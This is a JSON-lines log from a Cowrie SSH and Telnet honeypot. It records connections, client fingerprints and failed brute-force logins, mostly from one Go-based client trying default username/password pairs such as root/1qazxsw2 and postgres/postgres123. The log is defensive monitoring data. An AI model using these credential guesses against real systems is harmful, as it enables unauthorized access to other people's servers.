{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:25.171511Z","src_ip":"192.109.200.237","session":"3266a6170d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volkova","message":"login attempt [root/volkova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:25.213622Z","src_ip":"103.176.20.57","session":"c2e601ba38bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:25.419467Z","src_ip":"192.109.200.237","session":"3266a6170d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:26.461927Z","src_ip":"103.176.20.57","session":"c2e601ba38bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:26.547703Z","src_ip":"192.109.200.237","session":"3266a6170d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46834,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7beb61af9a3","protocol":"ssh","message":"New connection: 192.109.200.237:46834 (159.203.135.109:22) [session: b7beb61af9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:28.420287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:28.425989Z","src_ip":"192.109.200.237","session":"b7beb61af9a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:28.508423Z","src_ip":"192.109.200.237","session":"b7beb61af9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:28.754977Z","src_ip":"192.109.200.237","session":"b7beb61af9a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:29.840113Z","src_ip":"192.109.200.237","session":"b7beb61af9a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42472,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d31ada9dc40","protocol":"ssh","message":"New connection: 192.109.200.237:42472 (159.203.135.109:22) [session: 0d31ada9dc40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:31.774987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:31.779304Z","src_ip":"192.109.200.237","session":"0d31ada9dc40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:31.965107Z","src_ip":"192.109.200.237","session":"0d31ada9dc40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:32.266627Z","src_ip":"192.109.200.237","session":"0d31ada9dc40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:33.355300Z","src_ip":"192.109.200.237","session":"0d31ada9dc40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52254,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d552b618356","protocol":"telnet","message":"New connection: 152.42.224.71:52254 (10.17.0.5:23) [session: 0d552b618356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:35.095751Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42482,"dst_ip":"159.203.135.109","dst_port":22,"session":"56351dd7c574","protocol":"ssh","message":"New connection: 192.109.200.237:42482 (159.203.135.109:22) [session: 56351dd7c574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:35.267489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:35.272590Z","src_ip":"192.109.200.237","session":"56351dd7c574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:35.366078Z","src_ip":"192.109.200.237","session":"56351dd7c574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:35.611745Z","src_ip":"192.109.200.237","session":"56351dd7c574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:36.697002Z","src_ip":"192.109.200.237","session":"56351dd7c574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42498,"dst_ip":"159.203.135.109","dst_port":22,"session":"59f1cda7bfb1","protocol":"ssh","message":"New connection: 192.109.200.237:42498 (159.203.135.109:22) [session: 59f1cda7bfb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:38.596034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:38.602749Z","src_ip":"192.109.200.237","session":"59f1cda7bfb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:38.685309Z","src_ip":"192.109.200.237","session":"59f1cda7bfb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:38.932750Z","src_ip":"192.109.200.237","session":"59f1cda7bfb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:40.019381Z","src_ip":"192.109.200.237","session":"59f1cda7bfb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46448,"dst_ip":"159.203.135.109","dst_port":22,"session":"da4b518e976f","protocol":"ssh","message":"New connection: 192.109.200.237:46448 (159.203.135.109:22) [session: da4b518e976f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:41.985767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:41.990778Z","src_ip":"192.109.200.237","session":"da4b518e976f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:42.077736Z","src_ip":"192.109.200.237","session":"da4b518e976f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:42.413377Z","src_ip":"192.109.200.237","session":"da4b518e976f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":40144,"dst_ip":"159.203.135.109","dst_port":22,"session":"94405bad215c","protocol":"ssh","message":"New connection: 103.75.183.219:40144 (159.203.135.109:22) [session: 94405bad215c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:43.279436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:43.284321Z","src_ip":"103.75.183.219","session":"94405bad215c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:43.497938Z","src_ip":"192.109.200.237","session":"da4b518e976f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:43.527390Z","src_ip":"103.75.183.219","session":"94405bad215c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789r","message":"login attempt [root/123456789r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:44.256366Z","src_ip":"103.75.183.219","session":"94405bad215c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:45.502254Z","src_ip":"103.75.183.219","session":"94405bad215c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46460,"dst_ip":"159.203.135.109","dst_port":22,"session":"0757188a90fa","protocol":"ssh","message":"New connection: 192.109.200.237:46460 (159.203.135.109:22) [session: 0757188a90fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:45.526517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:45.532595Z","src_ip":"192.109.200.237","session":"0757188a90fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:45.619573Z","src_ip":"192.109.200.237","session":"0757188a90fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:45.865573Z","src_ip":"192.109.200.237","session":"0757188a90fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:46.951182Z","src_ip":"192.109.200.237","session":"0757188a90fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43158,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b842d7093cd","protocol":"telnet","message":"New connection: 152.42.224.71:43158 (10.17.0.5:23) [session: 1b842d7093cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:48.604377Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46468,"dst_ip":"159.203.135.109","dst_port":22,"session":"32145ace7477","protocol":"ssh","message":"New connection: 192.109.200.237:46468 (159.203.135.109:22) [session: 32145ace7477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:48.803579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:48.807806Z","src_ip":"192.109.200.237","session":"32145ace7477","protocol":"ssh"}
